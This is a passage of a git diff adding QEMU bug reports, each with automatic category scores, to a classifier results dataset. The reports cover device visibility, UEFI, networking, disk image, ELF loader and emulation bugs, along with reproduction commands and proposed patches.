domain='0x0000' bus='0x00' slot='0x10' +> function='0x0'/> +> </shmem> +> +> 2. after the booting up and I found the qemu commandline ideedly have the +> device option: +> ps aux | grep ivshmem +> /usr/bin/qemu-system-x86_64 +> .......(ignore other options) +> -object +> memory-backend-file,id=shmmem-shmem0,mem-path=/dev/shm/hostmem,size=4194304,share=yes +> -device ivshmem-plain,id=shmem0,memdev=shmmem-shmem0,bus=pcie.0,addr=0x10 +> +> 3. lspci command not shown the device. +> +> 4. lshw command indeedly show the device: +> +> *-memory UNCLAIMED +> description: RAM memory +> product: Inter-VM shared memory +> vendor: Red Hat, Inc. +> physical id: 10 +> bus info: pci@0000:00:10.0 +> version: 01 +> width: 64 bits +> clock: 33MHz (30.3ns) +> configuration: latency=0 +> resources: memory:fcc1c000-fcc1c0ff memory:fdc00000-fdffffff +> +> My host and vm os is ubuntu 20.04 and version is: +> #49~20.04.1-Ubuntu SMP Fri Feb 5 09:57:56 UTC 2021 x86_64 x86_64 x86_64 +> GNU/Linux +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/1917394 +> +> Title: +> command lspci does not show the IVSHMEM device +> +> Status in QEMU: +> New +> +> Bug description: +> qeum version: +> QEMU emulator version 4.2.1 +> +> I met a problem when I tried to use IVSHMEM. Command lspci does not show +> the IVSHMEM device. +> Below is the configuration from my side: +> +> 1. guest vm xml configuration. +> <shmem name='ivshmem'> +> <model type='ivshmem-plain'/> +> <size unit='M'>2</size> +> <address type='pci' domain='0x0000' bus='0x00' slot='0x10' +> function='0x0'/> +> </shmem> +> +> 2. after the booting up and I found the qemu commandline ideedly have +> the device option: +> ps aux | grep ivshmem +> /usr/bin/qemu-system-x86_64 +> .......(ignore other options) +> -object +> memory-backend-file,id=shmmem-shmem0,mem-path=/dev/shm/hostmem,size=4194304,share=yes +> -device ivshmem-plain,id=shmem0,memdev=shmmem-shmem0,bus=pcie.0,addr=0x10 +> +> 3. lspci command not shown the device. +> +> 4. lshw command indeedly show the device: +> +> *-memory UNCLAIMED +> description: RAM memory +> product: Inter-VM shared memory +> vendor: Red Hat, Inc. +> physical id: 10 +> bus info: pci@0000:00:10.0 +> version: 01 +> width: 64 bits +> clock: 33MHz (30.3ns) +> configuration: latency=0 +> resources: memory:fcc1c000-fcc1c0ff memory:fdc00000-fdffffff +> +> My host and vm os is ubuntu 20.04 and version is: +> #49~20.04.1-Ubuntu SMP Fri Feb 5 09:57:56 UTC 2021 x86_64 x86_64 x86_64 +> GNU/Linux +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1917394/+subscriptions +> +> +> + + +Thanks so much ChangLimin! You saved me a lot of time. + + +Thanks, +Sean + +On Tue, Mar 2, 2021 at 4:15 PM ChangLimin <email address hidden> wrote: + +> There is no driver for it. You should write it by youself. Maybe you can +> refer to +> http://doc.dpdk.org/guides-1.8/prog_guide/ivshmem_lib.html and dpdk +> source. +> +> Gool luck! +> +> +> *From:* Sean Kuo <email address hidden> +> *Date:* 2021-03-02 15:59 +> *To:* ChangLimin <email address hidden> +> *CC:* Bug 1917394 <email address hidden>; qemu-devel +> <email address hidden> +> *Subject:* Re: [Bug 1917394] [NEW] command lspci does not show the +> IVSHMEM device +> Hi ChangLimin, +> +> Thanks for your reply. I checked again to find the device... I thought the +> name was ivshmem. +> I don't find any driver code for IVSHMEM in the linux and qemu repo. Can +> you give me some help? +> +> 00:10.0 RAM memory: Red Hat, Inc. Inter-VM shared memory (rev 01) +> Subsystem: Red Hat, Inc. QEMU Virtual Machine +> Flags: fast devsel +> Memory at fcc1c000 (32-bit, non-prefetchable) [size=256] +> Memory at fdc00000 (64-bit, prefetchable) [size=4M] +> +> Thanks, +> Sean +> +> +> +> +> +> +> On Tue, Mar 2, 2021 at 3:31 PM ChangLimin <email address hidden> wrote: +> +>> Can you give the lspci messages? The below is my output. There is a RAM +>> memory device. +>> +>> $ lspci +>> 00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev +>> 02) +>> 00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II] +>> 00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton +>> II] +>> 00:01.2 USB controller: Intel Corporation 82371SB PIIX3 USB +>> [Natoma/Triton II] (rev 01) +>> 00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03) +>> 00:02.0 VGA compatible controller: Device 1234:1111 (rev 02) +>> 00:03.0 PCI bridge: Red Hat, Inc. QEMU PCI-PCI bridge +>> 00:04.0 Ethernet controller: Red Hat, Inc. Virtio network device +>> 00:05.0 SCSI storage controller: Red Hat, Inc. Virtio SCSI +>> 00:06.0 Communication controller: Red Hat, Inc. Virtio console +>> 00:10.0 RAM memory: Red Hat, Inc. Inter-VM shared memory (rev 01) +>> 01:07.0 PCI bridge: Red Hat, Inc. QEMU PCI-PCI bridge +>> +>> +>> *From:* sean kuo <email address hidden> +>> *Date:* 2021-03-02 11:24 +>> *To:* qemu-devel <email address hidden> +>> *Subject:* [Bug 1917394] [NEW] command lspci does not show the IVSHMEM +>> device +>> Public bug reported: +>> +>> qeum version: +>> QEMU emulator version 4.2.1 +>> +>> I met a problem when I tried to use IVSHMEM. Command lspci does not show +>> the IVSHMEM device. +>> Below is the configuration from my side: +>> +>> 1. guest vm xml configuration. +>> <shmem name='ivshmem'> +>> <model type='ivshmem-plain'/> +>> <size unit='M'>2</size> +>> <address type='pci' domain='0x0000' bus='0x00' slot='0x10' +>> function='0x0'/> +>> </shmem> +>> +>> 2. after the booting up and I found the qemu commandline ideedly have +>> the device option: +>> ps aux | grep ivshmem +>> /usr/bin/qemu-system-x86_64 +>> .......(ignore other options) +>> -object +>> memory-backend-file,id=shmmem-shmem0,mem-path=/dev/shm/hostmem,size=4194304,share=yes +>> -device ivshmem-plain,id=shmem0,memdev=shmmem-shmem0,bus=pcie.0,addr=0x10 +>> +>> 3. lspci command not shown the device. +>> +>> 4. lshw command indeedly show the device: +>> +>> *-memory UNCLAIMED +>> description: RAM memory +>> product: Inter-VM shared memory +>> vendor: Red Hat, Inc. +>> physical id: 10 +>> bus info: pci@0000:00:10.0 +>> version: 01 +>> width: 64 bits +>> clock: 33MHz (30.3ns) +>> configuration: latency=0 +>> resources: memory:fcc1c000-fcc1c0ff memory:fdc00000-fdffffff +>> +>> My host and vm os is ubuntu 20.04 and version is: +>> #49~20.04.1-Ubuntu SMP Fri Feb 5 09:57:56 UTC 2021 x86_64 x86_64 x86_64 +>> GNU/Linux +>> +>> ** Affects: qemu +>> Importance: Undecided +>> Status: New +>> +>> -- +>> You received this bug notification because you are a member of qemu- +>> devel-ml, which is subscribed to QEMU. +>> https://bugs.launchpad.net/bugs/1917394 +>> +>> Title: +>> command lspci does not show the IVSHMEM device +>> +>> Status in QEMU: +>> New +>> +>> Bug description: +>> qeum version: +>> QEMU emulator version 4.2.1 +>> +>> I met a problem when I tried to use IVSHMEM. Command lspci does not +>> show the IVSHMEM device. +>> Below is the configuration from my side: +>> +>> 1. guest vm xml configuration. +>> <shmem name='ivshmem'> +>> <model type='ivshmem-plain'/> +>> <size unit='M'>2</size> +>> <address type='pci' domain='0x0000' bus='0x00' slot='0x10' +>> function='0x0'/> +>> </shmem> +>> +>> 2. after the booting up and I found the qemu commandline ideedly have +>> the device option: +>> ps aux | grep ivshmem +>> /usr/bin/qemu-system-x86_64 +>> .......(ignore other options) +>> -object +>> memory-backend-file,id=shmmem-shmem0,mem-path=/dev/shm/hostmem,size=4194304,share=yes +>> -device ivshmem-plain,id=shmem0,memdev=shmmem-shmem0,bus=pcie.0,addr=0x10 +>> +>> 3. lspci command not shown the device. +>> +>> 4. lshw command indeedly show the device: +>> +>> *-memory UNCLAIMED +>> description: RAM memory +>> product: Inter-VM shared memory +>> vendor: Red Hat, Inc. +>> physical id: 10 +>> bus info: pci@0000:00:10.0 +>> version: 01 +>> width: 64 bits +>> clock: 33MHz (30.3ns) +>> configuration: latency=0 +>> resources: memory:fcc1c000-fcc1c0ff +>> memory:fdc00000-fdffffff +>> +>> My host and vm os is ubuntu 20.04 and version is: +>> #49~20.04.1-Ubuntu SMP Fri Feb 5 09:57:56 UTC 2021 x86_64 x86_64 x86_64 +>> GNU/Linux +>> +>> To manage notifications about this bug go to: +>> https://bugs.launchpad.net/qemu/+bug/1917394/+subscriptions +>> +>> +>> + + +Sounds like this question has been solved, thus I'm closing this ticket now. + diff --git a/results/classifier/108/graphic/1919 b/results/classifier/108/graphic/1919 new file mode 100644 index 000000000..9a86f2c9c --- /dev/null +++ b/results/classifier/108/graphic/1919 @@ -0,0 +1,35 @@ +graphic: 0.980 +device: 0.906 +boot: 0.875 +performance: 0.852 +socket: 0.805 +semantic: 0.761 +network: 0.687 +PID: 0.673 +debug: 0.661 +permissions: 0.616 +other: 0.477 +vnc: 0.315 +files: 0.226 +KVM: 0.106 + +UEFI SecureCode hangs on MacOs - 8.1.1 / MacOS Ventura +Description of problem: +Unable to load edk2 secure boot UEFI code. Non-secure edk2 bios works fine, but secure one hangs during load. +Steps to reproduce: +1. Run mentioned command - it should display OVMF logo - but it hangs +Additional information: +* edk2-x86_64-code.fd works fine, edk2-x86_64-secure-code.fd not +* Tested with swtpm and without - doesn't matter +* TPM access has been observed (when swtpm enabled) - sounds like secure-code validation partially works + +To enable TPM: +``` + -chardev socket,id=chrtpm,path=mytpm0/swtpm-sock \ + -tpmdev emulator,id=tpm0,chardev=chrtpm \ + -device tpm-tis,tpmdev=tpm0 \ +``` +and run swtpm +``` +swtpm socket --tpm2 --tpmstate dir=mytpm0 --ctrl type=unixio,path=mytpm0/swtpm-sock +``` diff --git a/results/classifier/108/graphic/1920 b/results/classifier/108/graphic/1920 new file mode 100644 index 000000000..ae0fb3d0f --- /dev/null +++ b/results/classifier/108/graphic/1920 @@ -0,0 +1,26 @@ +graphic: 0.966 +device: 0.838 +performance: 0.660 +network: 0.616 +vnc: 0.593 +semantic: 0.555 +PID: 0.468 +debug: 0.449 +socket: 0.440 +files: 0.424 +permissions: 0.388 +other: 0.318 +boot: 0.314 +KVM: 0.041 + +regrssion on 8.1.x: java/maven fails to run on qemu-aarch64 +Description of problem: +Java process crashes when running simple "mvn -version" command inside qemu-aarch64. "java -version" works. +Last known working version: 8.0.3 (qemu-8.0.3-4.fc39) +Failing versions: 8.1.1 (qemu-8.1.1-1.fc39) and 8.1.0 (qemu-8.1.0-1.fc39) +The same image works on native arm64 machine. +Steps to reproduce: +1. podman run --platform linux/arm64 docker.io/library/maven:3.9-eclipse-temurin-20 mvn -version +2. should display few lines of version information and not a NullPointerException +Additional information: +podman version 4.7.0 diff --git a/results/classifier/108/graphic/1920871 b/results/classifier/108/graphic/1920871 new file mode 100644 index 000000000..742846628 --- /dev/null +++ b/results/classifier/108/graphic/1920871 @@ -0,0 +1,99 @@ +graphic: 0.953 +permissions: 0.923 +other: 0.918 +performance: 0.917 +debug: 0.895 +vnc: 0.892 +network: 0.887 +semantic: 0.862 +device: 0.851 +PID: 0.835 +files: 0.828 +boot: 0.820 +KVM: 0.756 +socket: 0.752 + +netperf UDP_STREAM high packet loss on QEMU tap network + +Hi, I boot a guest with "-netdev tap,id=hn0,vhost=off,br=br0,helper=/usr/local/libexec/qemu-bridge-helper" network option, and using "netperf -H IP -t UDP_STREAM" to test guest UDP performance, I got the following output: + +Socket Message Elapsed Messages +Size Size Time Okay Errors Throughput +bytes bytes secs # # 10^6bits/sec + +212992 65507 10.00 144710 0 7583.56 +212992 10.00 32 1.68 + +We can find most of UDP packets are lost. But I test another host machine or use "-netdev usr,xxxxx". I can got: +Socket Message Elapsed Messages +Size Size Time Okay Errors Throughput +bytes bytes secs # # 10^6bits/sec + +212992 65507 10.00 18351 0 961.61 +212992 10.00 18350 961.56 + +most of UDP packets are recived. + +And If we check the tap qemu used, we can see: +ifconfig tap0 +tap0: flags=4419<UP,BROADCAST,RUNNING,PROMISC,MULTICAST> mtu 1500 + inet6 fe80::ecc6:21ff:fe6f:b174 prefixlen 64 scopeid 0x20<link> + ether ee:c6:21:6f:b1:74 txqueuelen 1000 (Ethernet) + RX packets 282 bytes 30097 (29.3 KiB) + RX errors 0 dropped 0 overruns 0 frame 0 + TX packets 9086214 bytes 12731596673 (11.8 GiB) + TX errors 0 dropped 16349024 overruns 0 carrier 0 collisions 0 +lots of TX packets are dropped. + +list other packet size: + +➜ boot netperf -H 192.168.199.200 -t UDP_STREAM -- -m 1 +MIGRATED UDP STREAM TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to 192.168.199.200 () port 0 AF_INET +Socket Message Elapsed Messages +Size Size Time Okay Errors Throughput +bytes bytes secs # # 10^6bits/sec + +212992 1 10.00 2297941 0 1.84 +212992 10.00 1462024 1.17 + +➜ boot netperf -H 192.168.199.200 -t UDP_STREAM -- -m 128 +MIGRATED UDP STREAM TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to 192.168.199.200 () port 0 AF_INET +Socket Message Elapsed Messages +Size Size Time Okay Errors Throughput +bytes bytes secs # # 10^6bits/sec + +212992 128 10.00 2311547 0 236.70 +212992 10.00 1359834 139.25 + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/108/graphic/1921061 b/results/classifier/108/graphic/1921061 new file mode 100644 index 000000000..ecc587dae --- /dev/null +++ b/results/classifier/108/graphic/1921061 @@ -0,0 +1,84 @@ +graphic: 0.973 +permissions: 0.952 +network: 0.949 +other: 0.946 +device: 0.935 +performance: 0.930 +vnc: 0.929 +socket: 0.925 +semantic: 0.907 +debug: 0.906 +boot: 0.892 +files: 0.879 +KVM: 0.862 +PID: 0.828 + +Corsair iCUE Install Fails, qemu VM Reboots + +Hi, + +I had this working before, but in the latest version of QEMU (built from master), when I try to install Corsair iCUE, and it gets to the driver install point => my Windows 10 VM just reboots! I would be happy to capture logs, but ... what logs exist for an uncontrolled reboot? Thinking they are lost in the reboot :-(. + +Thanks! + +Hi, + +Slight update - as I decided to passthru my NIC as well => driver install there also causes a VM (Windows 10) reboot. Seems all driver installs fail? + +Running on the latest master, QEMU emulator version 5.2.93 (v6.0.0-rc3). + +Thanks! + +FYI, to provide an update - I found a workaround! It's related to the CPU selection. I can't seem to pass through my host CPU, even with v6.0.0 of qemu. Rather, I have to use the qemu64 CPU. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/320 + + +Hi Russel, this bug has been migrated to the new GitLab issue tracker; can you provide me with some extra information over on the new tracker, please? + +(I am *very* likely to miss updates here.) + +1. What is your QEMU command line? (A full, working command-line, but the smallest one you can reproduce the problem with is helpful.) +2. What is your host environment? (distro/linux kernel version, CPU model) +3. What happens *exactly* when you try to install iCUE? Windows reboots -- in what way? Does it bluescreen, or does it just reboot immediately and then continue on as if nothing happened? Are there any errors/warnings/output from QEMU at all? Does QEMU crash? + +Some other information that might be helpful if you have it: + +4. Is there a version of QEMU where this works correctly for you still? Do you know when the problem appeared? +5. Depending on exactly how the VM reboots, you *may* have information in your windows event viewer logs -- do you see any warnings or errors in there that might be relevant? + diff --git a/results/classifier/108/graphic/1923 b/results/classifier/108/graphic/1923 new file mode 100644 index 000000000..992978b18 --- /dev/null +++ b/results/classifier/108/graphic/1923 @@ -0,0 +1,33 @@ +graphic: 0.960 +files: 0.925 +device: 0.925 +network: 0.869 +PID: 0.760 +performance: 0.670 +semantic: 0.630 +debug: 0.600 +vnc: 0.569 +boot: 0.529 +permissions: 0.528 +socket: 0.513 +KVM: 0.417 +other: 0.140 + +qemu breaks vmdk larger than 600GB. +Description of problem: +The vmdk larger than 600G is corrupted after an edit by qemu-nbd. If I open the corrupted vmdk file, I find an extra **^@** byte. +``` +RW 4194304 SPARSE "disk-s289.vmdk" +RW 4^@94304 SPARSE "disk-s290.vmdk" +RW 4194304 SPARSE "disk-s291.vmdk" +``` +Steps to reproduce: +``` + qemu-img create -f vmdk -o subformat=twoGbMaxExtentSparse disk.vmdk 1T + sudo qemu-nbd -c /dev/nbd0 disk.vmdk + sudo mkfs.btrfs /dev/nbd0 + sudo qemu-nbd -d /dev/nbd0 + qemu-img info disk.vmdk | head + ``` +Additional information: + diff --git a/results/classifier/108/graphic/1925 b/results/classifier/108/graphic/1925 new file mode 100644 index 000000000..20dd997f9 --- /dev/null +++ b/results/classifier/108/graphic/1925 @@ -0,0 +1,26 @@ +graphic: 0.922 +network: 0.859 +performance: 0.856 +PID: 0.855 +debug: 0.837 +device: 0.837 +semantic: 0.832 +vnc: 0.818 +socket: 0.781 +files: 0.757 +permissions: 0.744 +boot: 0.706 +other: 0.544 +KVM: 0.487 + +RISC-V 64 System Emulator fdt imporperly created after machine init is done +Description of problem: +In commit 49554856 the creation of FDT is moved to `virt_machine_done()` +However, adding guest loader device requires the presence of fdt at `hw/core/guest-loader.c:50` when the fdt ptr is still 0x0. +Thus adding of guest loader device will fail. +Steps to reproduce: +1. Compile Qemu with riscv64 system emulator target +2. Compile Xen hypervisor platform (not necessary) +3. Instruct Qemu start with virt machine and any valid guest-loader device specification. +Additional information: +Commit that changes order of fdt creation: 49554856f0b6f622ab6afdcc275d4ab2ecb3625c diff --git a/results/classifier/108/graphic/1926246 b/results/classifier/108/graphic/1926246 new file mode 100644 index 000000000..4c2eab90b --- /dev/null +++ b/results/classifier/108/graphic/1926246 @@ -0,0 +1,150 @@ +graphic: 0.934 +other: 0.922 +performance: 0.911 +KVM: 0.910 +debug: 0.910 +vnc: 0.899 +semantic: 0.896 +device: 0.891 +PID: 0.887 +permissions: 0.885 +socket: 0.852 +network: 0.836 +boot: 0.834 +files: 0.825 + +chrome based apps can not be run under qemu user mode + +chrome uses /proc/self/exe to fork render process. +Here a simple code to reproduce the issue. It's output parent then child but failed with qemu: unknown option 'type=renderer'. + +Maybe we can modify exec syscall to replace /proc/self/exe to the real path. + +//gcc -o self self.c +#include <stdio.h> +#include <sys/types.h> +#include <unistd.h> +int main(int argc, char** argv) { + if(argc==1){ + printf ("parent\n"); + if ( fork() == 0 ) + { + return execl("/proc/self/exe","/proc/self/exe", "--type=renderer",NULL); + } + } else { + printf ("child\n"); + } + return 0; +} + +similar reports: +https://github.com/AppImage/AppImageKit/issues/965 +https://github.com/golang/go/issues/42080 + +Workardound: +compile chrome or your chrome based app with a patch to content/common/child_process_host_impl.cc:GetChildPath, get the realpath of /proc/self/exe: + +diff --git a/content/common/child_process_host_impl.cc b/content/common/child_process_host_impl.cc +index bc78aba80ac8..9fab74d3bae8 100644 +--- a/content/common/child_process_host_impl.cc ++++ b/content/common/child_process_host_impl.cc +@@ -60,8 +60,12 @@ base::FilePath ChildProcessHost::GetChildPath(int flags) { + #if defined(OS_LINUX) + // Use /proc/self/exe rather than our known binary path so updates + // can't swap out the binary from underneath us. +- if (child_path.empty() && flags & CHILD_ALLOW_SELF) +- child_path = base::FilePath(base::kProcSelfExe); ++ if (child_path.empty() && flags & CHILD_ALLOW_SELF) { ++ if (!ReadSymbolicLink(base::FilePath(base::kProcSelfExe), &child_path)) { ++ NOTREACHED() << "Unable to resolve " << base::kProcSelfExe << "."; ++ child_path = base::FilePath(base::kProcSelfExe); ++ } ++ } + #endif + + // On most platforms, the child executable is the same as the current + +qemu patch: +diff --git a/linux-user/syscall.c b/linux-user/syscall.c +index 95d79ddc43..227d9b1b0e 100644 +--- a/linux-user/syscall.c ++++ b/linux-user/syscall.c +@@ -8537,7 +8537,7 @@ static abi_long do_syscall1(void *cpu_env, int num, abi_long arg1, + * before the execve completes and makes it the other + * program's problem. + */ +- ret = get_errno(safe_execve(p, argp, envp)); ++ ret = get_errno(safe_execve(is_proc_myself(p, "exe") ? exec_path : p, argp, envp)); + unlock_user(p, arg1, 0); + + goto execve_end; + + +I think this is the good approach to fix the problem, but exec_path can be not set in the case of +AT_EXECFD (binfmt_misc with credential flag) because we use execfd instead. You should use +do_openat() to get the file descriptor and execveat() to start the process. + +Thanks, +Laurent + +Just found there's already a patch for this: +https://lists.sr.ht/~philmd/qemu/patches/8196 + +Le 27/04/2021 à 12:58, Wind Li a écrit : +> Just found there's already a patch for this: +> https://lists.sr.ht/~philmd/qemu/patches/8196 +> + +Yes, you are right. + +I didn't see this patch because he didn't cc: me and he removed the "linux-user" tag from the subject... + +Could you verify it actually fixes the problem? + + +Yes. It fixes the execve issue. + + +Here is the command line to start chromium, --no-zygote is needed to avoid the gpu releated crash: + +qemu-aarch64 /usr/lib/chromium/chrome --no-sandbox --no-zygote + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/324 + + diff --git a/results/classifier/108/graphic/1943 b/results/classifier/108/graphic/1943 new file mode 100644 index 000000000..8f6f1797b --- /dev/null +++ b/results/classifier/108/graphic/1943 @@ -0,0 +1,39 @@ +graphic: 0.966 +device: 0.792 +other: 0.747 +performance: 0.697 +semantic: 0.645 +PID: 0.548 +socket: 0.487 +network: 0.461 +vnc: 0.457 +files: 0.457 +debug: 0.381 +KVM: 0.340 +boot: 0.293 +permissions: 0.192 + +Weird error trying to autodetect CHS disk geometry +Description of problem: +Error: "SSD Read Error" + +Something about the contents of the disk causes qemu to wildly misdetect the disk geometry. +This disk started as a blank disk, and had a FAT filesystem written to it from inside it; thus +writing the detected geometry to the disk. And this caused the detected geometry to change to +something nonsensical. +Steps to reproduce: +1. Unpack the attached [hd.bz2](/uploads/53f5bb00cdd563223bea1f7a0f86fe1c/hd.bz2) to hd.img +2. Run qemu -hda hd.img +3. Observe error +Additional information: +The following command appears to fix the problem; however it is wrong: + +qemu -drive if=none,id=dr,file=hd.img -device ide-hd,drive=dr,cyls=1023,heads=16,secs=63 + +The problem with this command is this command yields only 504MB instead of the 512MB the +disk is actually formatted to be. CHS translation should be enabled on this disk but won't +be with this command. + +This command was copied essentially blindly from "Removed features" because that's what comes +up for a google search for "qemu specify geometry" and I don't understand the command well +enough to correct it. diff --git a/results/classifier/108/graphic/1950 b/results/classifier/108/graphic/1950 new file mode 100644 index 000000000..a6f48413b --- /dev/null +++ b/results/classifier/108/graphic/1950 @@ -0,0 +1,24 @@ +graphic: 0.946 +performance: 0.874 +device: 0.872 +network: 0.860 +files: 0.827 +socket: 0.798 +vnc: 0.776 +PID: 0.740 +debug: 0.654 +semantic: 0.614 +permissions: 0.588 +boot: 0.542 +other: 0.413 +KVM: 0.325 + +[AARCH64] GP bit (BTI) lost during two stages translation +Description of problem: +I noticed that the BTI faults were not reported. +That's because the GP (guarded page) information is lost during the two stages translation in get_phys_addr_twostage(). +The "guarded" information is correctly retrieved by the first call to get_phys_addr_nogpc() but overwritten by the the second call to get_phys_addr_nogpc(). +The call to combine_cacheattrs() copies cacheattrs1.guarded but this field is never modified. + +The attached patch fixes the issue for me. +[get_phys_addr_twostage_bti_gp_bit_lost_master.patch](/uploads/2fbe8090f92c43a63e39ee66ab2daf47/get_phys_addr_twostage_bti_gp_bit_lost_master.patch) diff --git a/results/classifier/108/graphic/1952 b/results/classifier/108/graphic/1952 new file mode 100644 index 000000000..a4c1f452f --- /dev/null +++ b/results/classifier/108/graphic/1952 @@ -0,0 +1,111 @@ +graphic: 0.941 +device: 0.909 +semantic: 0.894 +performance: 0.893 +PID: 0.880 +other: 0.871 +network: 0.865 +permissions: 0.865 +KVM: 0.855 +vnc: 0.852 +socket: 0.834 +debug: 0.812 +boot: 0.806 +files: 0.750 + +elf-linux-user: segfault caused by invalid loaddr extracted by the ELF loader +Description of problem: +Emulating ELF binaries as emitted by Zig may lead to segfault in QEMU, which typically looks like this + +``` +$ qemu-x86_64 simple +fish: Job 1, 'qemu-x86_64 simple' terminated by signal SIGSEGV (Address boundary error) +``` +Steps to reproduce: +1. Obtain latest Zig nightly +2. Compile simple static C program using Zig's ELF linker: + +``` +$ echo "int main() { return 0 };" > simple.c +$ zig build-exe simple.c -lc -target x86_64-linux-musl -fno-lld --image-base 0x1000000 +$ qemu-x86_64 simple +fish: Job 1, 'qemu-x86_64 simple' terminated by signal SIGSEGV (Address boundary error) +``` +Additional information: +Note that running `simple` directly it's correctly mmaped and executed by the kernel: + +``` +$ ./simple +$ echo $status +0 +``` + +The reason this happens is because of an assumption QEMU's ELF loader makes on the virtual addresses and offsets of `PT_LOAD` segments, namely: + +``` +vaddr2 - vaddr1 >= off2 - off1 +``` + +Typically, to the best of my knowledge, this is conformed to by the linkers in the large, but it is not required at all. Here's a one-line tweak to QEMU's loader that fixes the segfault: + +```diff +diff --git a/linux-user/elfload.c b/linux-user/elfload.c +index f21e2e0c3d..eabb4fed03 100644 +--- a/linux-user/elfload.c ++++ b/linux-user/elfload.c +@@ -3211,7 +3211,7 @@ static void load_elf_image(const char *image_name, int image_fd, + for (i = 0; i < ehdr->e_phnum; ++i) { + struct elf_phdr *eppnt = phdr + i; + if (eppnt->p_type == PT_LOAD) { +- abi_ulong a = eppnt->p_vaddr - eppnt->p_offset; ++ abi_ulong a = eppnt->p_vaddr & ~(eppnt->p_align - 1); + if (a < loaddr) { + loaddr = a; + } +``` + +The reason why this breaks for ELF binaries emitted by Zig is that while virtual addresses are allocated sequentially or pre-allocated, file offsets are allocated on a best-effort basis wherever there is enough space in the file to fit a given section/segment so that we can move the contents in file while preserving the allocated virtual addresses on a whim. To provide a more concrete example, here's the load segment layout for `simple` as emitted by Zig: + +``` +$ readelf -l simple + +Elf file type is EXEC (Executable file) +Entry point 0x1002000 +There are 7 program headers, starting at offset 64 + +Program Headers: + Type Offset VirtAddr PhysAddr + FileSiz MemSiz Flags Align + PHDR 0x0000000000000040 0x0000000001000040 0x0000000001000040 + 0x0000000000000188 0x0000000000000188 R 0x8 + LOAD 0x0000000000000000 0x0000000001000000 0x0000000001000000 + 0x00000000000001c8 0x00000000000001c8 R 0x1000 + LOAD 0x0000000000021000 0x0000000001001000 0x0000000001001000 + 0x0000000000000078 0x0000000000000078 R 0x1000 + LOAD 0x0000000000022000 0x0000000001002000 0x0000000001002000 + 0x000000000000065a 0x000000000000065a R E 0x1000 + LOAD 0x0000000000023000 0x0000000001003000 0x0000000001003000 + 0x0000000000000060 0x0000000000000278 RW 0x1000 + GNU_EH_FRAME 0x0000000000021064 0x0000000001001064 0x0000000001001064 + 0x0000000000000014 0x0000000000000014 R 0x4 + GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 + 0x0000000000000000 0x0000000000000000 RW 0x1 + + Section to Segment mapping: + Segment Sections... + 00 + 01 + 02 .rodata.str1.1 .rodata .eh_frame .eh_frame_hdr + 03 .text .init .fini + 04 .data .got .bss + 05 .eh_frame_hdr + 06 +``` + +As you can see, initially `loaddr := 0x1000000 - 0x0 = 0x1000000`. However, upon iterating over the second load segment, we already get + +``` +a := 0x1001000 - 0x21000 = 0xfe000 +``` + +and since `a < loaddr`, we incorrectly set `loaddr := 0xfe000`. diff --git a/results/classifier/108/graphic/1954 